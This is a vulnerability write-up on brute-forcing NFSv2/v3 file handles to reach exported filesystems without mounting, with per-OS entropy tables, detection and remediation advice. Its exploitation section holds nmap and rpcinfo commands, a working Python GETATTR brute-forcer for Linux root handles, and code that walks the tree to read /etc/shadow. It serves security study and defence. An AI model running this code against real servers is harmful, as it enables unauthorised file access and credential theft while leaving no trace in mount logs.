Skip to content

F-2.2: File Handle Guessing and Brute Force

Classification

  • Severity: Medium
  • CVSS Vector: Network / Low Complexity / No Auth Required
  • Affected Versions: NFSv2, NFSv3 (NFSv4 also affected in some implementations)
  • RFC Reference: RFC 1813 §2.3.3 (file handle construction unspecified)
  • Prerequisite: Network access to NFS port; ideally on the export list or ability to spoof IP

Summary

NFS file handles are opaque tokens used to identify files on the server. The NFS specification does not mandate how handles are constructed, and most implementations use deterministic, low-entropy encodings based on device numbers, inode numbers, and generation numbers. An attacker who can send NFS RPCs directly (bypassing the mount daemon) can brute-force valid file handles, gaining access to files without ever performing a mount operation — leaving no trace in mount logs.

Technical detail

File handle structure by OS

Linux (ext4)

Field Size Entropy Typical Values
fh_version 1 byte None Always 1
fh_auth_type 1 byte None Always 0
fh_fsid_type 1 byte None 0-7 (small set)
fh_fileid_type 1 byte None 0, 1, or 2
xdev (major:minor) 4 bytes ~11 bits 6 likely majors x 256 minors
xino (export inode) 4 bytes ~1 bit Almost always 2
ino (file inode) 4 bytes Variable Sequential allocation
gen_no 4 bytes 32 bits Random-ish on ext3/4
par_ino 4 bytes Variable Small for top-level dirs

Root file handle: Only xdev needs guessing — ~1,536 possibilities. Crackable in under 1 second on a 1Gbps network.

Non-root file handle: 4 bytes of generation number = ~3.5 days at 13,119 attempts/sec on 1Gbps.

FreeBSD (UFS)

Field Size Entropy
fsid (time + arc4random) 8 bytes ~32 bits effective (4 bytes random + guessable time)
ufid_ino 4 bytes Low (sequential)
ufid_gen 4 bytes 32 bits (arc4random)

Total effective entropy: ~64 bits for non-root handles. Practically infeasible to brute-force.

Solaris (UFS)

Field Size Entropy
fh_fsid 8 bytes ~11 bits (derived from device numbers)
fh_data (ino + gen) 8 bytes ~32 bits (gen from fsirand)
fh_xdata (export ino + gen) 8 bytes Same as root

Root file handle: ~32 bits. Crackable in ~1 week on 1Gbps.

Why this bypasses security

  1. No mount log entry: Direct NFS RPC communication skips mountd, so rmtab and showmount -a show no record
  2. No authentication beyond IP: If the attacker is on the export list (wildcards common), only the handle is needed
  3. Persistent access: Once a valid handle is obtained, LOOKUP operations reveal all other handles in the tree
  4. Silent operation: Standard NFS traffic, indistinguishable from normal operations

Brute force algorithm

for major in [3, 8, 9, 22, 33, 65]:      # IDE, SCSI, md, etc.
    for minor in range(0, 256):
        fh = construct_root_handle(major, minor)
        response = nfs_getattr(target, fh)
        if response.status == NFS3_OK:
            print(f"FOUND: major={major} minor={minor}")
            # Now use READDIRPLUS to enumerate all files
            break

Time estimates (from FSL-04-03 research)

OS Handle Type 1Gbps Time 100Mbps Time
Linux Root handle < 1 second < 2 seconds
Linux Non-root ~3.5 days ~7 days
Solaris Root handle ~1 week ~2 weeks
FreeBSD Root handle Years Infeasible

At 10% bandwidth (to avoid detection): multiply times by 10.

Exploitation

Step 1: Identify the target

# Confirm NFS is running
nmap -sV -p 2049 target
# 2049/tcp open nfs 2-3 (RPC #100003)

# If portmapper is accessible, enumerate services
rpcinfo -p target

Step 2: Brute force root handle (Linux)

import socket
import struct

def craft_getattr_rpc(file_handle):
    """Craft an NFS3 GETATTR RPC call."""
    xid = 0x12345678
    # RPC call header
    rpc_header = struct.pack(">IIIIII",
        xid,           # XID
        0,             # CALL
        2,             # RPC version
        100003,        # NFS program
        3,             # NFS version 3
        1,             # GETATTR procedure
    )
    # AUTH_UNIX credential (minimal)
    auth = struct.pack(">II", 1, 20)  # AUTH_UNIX, length
    auth += struct.pack(">I", 0)      # stamp
    auth += struct.pack(">I", 0)      # hostname length
    auth += struct.pack(">III", 0, 0, 0)  # uid, gid, 0 aux gids
    # AUTH_NONE verifier
    verifier = struct.pack(">II", 0, 0)
    # File handle
    fh_data = struct.pack(">I", len(file_handle)) + file_handle

    return rpc_header + auth + verifier + fh_data

def brute_force_root_handle(target, port=2049):
    """Try common device numbers to find the root handle."""
    majors = [3, 8, 9, 22, 33, 65]  # IDE, SCSI, md, hd, etc.

    for major in majors:
        for minor in range(256):
            # Construct Linux root file handle
            fh = bytes([
                0x01,  # version
                0x00,  # auth_type
                0x00,  # fsid_type (dev major:minor)
                0x00,  # fileid_type (root = 0)
            ])
            fh += struct.pack(">HH", major, minor)  # xdev
            fh += struct.pack(">I", 2)               # xino (always 2)

            pkt = craft_getattr_rpc(fh)
            # Send via TCP (with record marking)
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target, port))
            record = struct.pack(">I", 0x80000000 | len(pkt)) + pkt
            sock.send(record)

            resp = sock.recv(4096)
            sock.close()

            # Check if reply indicates success (status=0 after RPC header)
            if len(resp) > 28:
                status = struct.unpack(">I", resp[24:28])[0]
                if status == 0:  # NFS3_OK
                    print(f"[+] Valid root handle: major={major} minor={minor}")
                    return fh
    return None

Step 3: Enumerate files via LOOKUP/READDIRPLUS

Once the root handle is found:

# Use the valid root handle to list the filesystem
entries = nfs_readdirplus(target, root_fh)
for entry in entries:
    print(f"{entry.name} uid={entry.uid} gid={entry.gid} mode={oct(entry.mode)}")
    # Recursively enumerate interesting directories
    if entry.name in ["etc", "home", "var"]:
        sub_entries = nfs_readdirplus(target, entry.handle)

Step 4: Access files directly

# Read /etc/shadow using its file handle (obtained via LOOKUP chain)
shadow_fh = nfs_lookup(target, etc_fh, "shadow")
data = nfs_read(target, shadow_fh, offset=0, count=65536)
print(data.decode())

Information leakage from file handles

Even without brute-forcing, captured file handles reveal:

  1. Operating System: Format identifies Linux vs FreeBSD vs Solaris vs Windows
  2. Filesystem Type: fsid encoding differs per filesystem
  3. Installation Date: FreeBSD fsid contains filesystem creation timestamp
  4. Disk Layout: Device major/minor reveals IDE, SCSI, NVMe, LVM, md-RAID
  5. Inode Allocation: Reveals file creation order and approximate file count
  6. Export Structure: Parent inode reveals directory hierarchy

Impact

  • Bypass mount authentication entirely — no mount log trace
  • Access any file on the target filesystem once root handle is obtained
  • Reconnaissance: File handle analysis reveals server OS, disk type, filesystem age
  • Persistent access: Handles remain valid across server restarts (they're persistent by design)

Detection

  • File handle guessing generates GETATTR requests with NFS3ERR_BADHANDLE replies — high volumes are detectable via packet inspection
  • No standard logging captures failed handle attempts
  • Network IDS signatures for rapid sequential GETATTR calls from a single source

Remediation

  1. Use NFSv4 with RPCSEC_GSS — per-request authentication makes guessed handles useless
  2. Restrict export lists — no wildcards, specific IPs only
  3. Firewall port 2049 — limit access to known NFS clients
  4. Windows NFS Server: Enable file handle signing (default) — adds HMAC to handles
  5. Rate limiting: Some NFS implementations can limit RPC rate per client
  6. NFSv4 volatile file handles: Handles expire, limiting the window of exploitation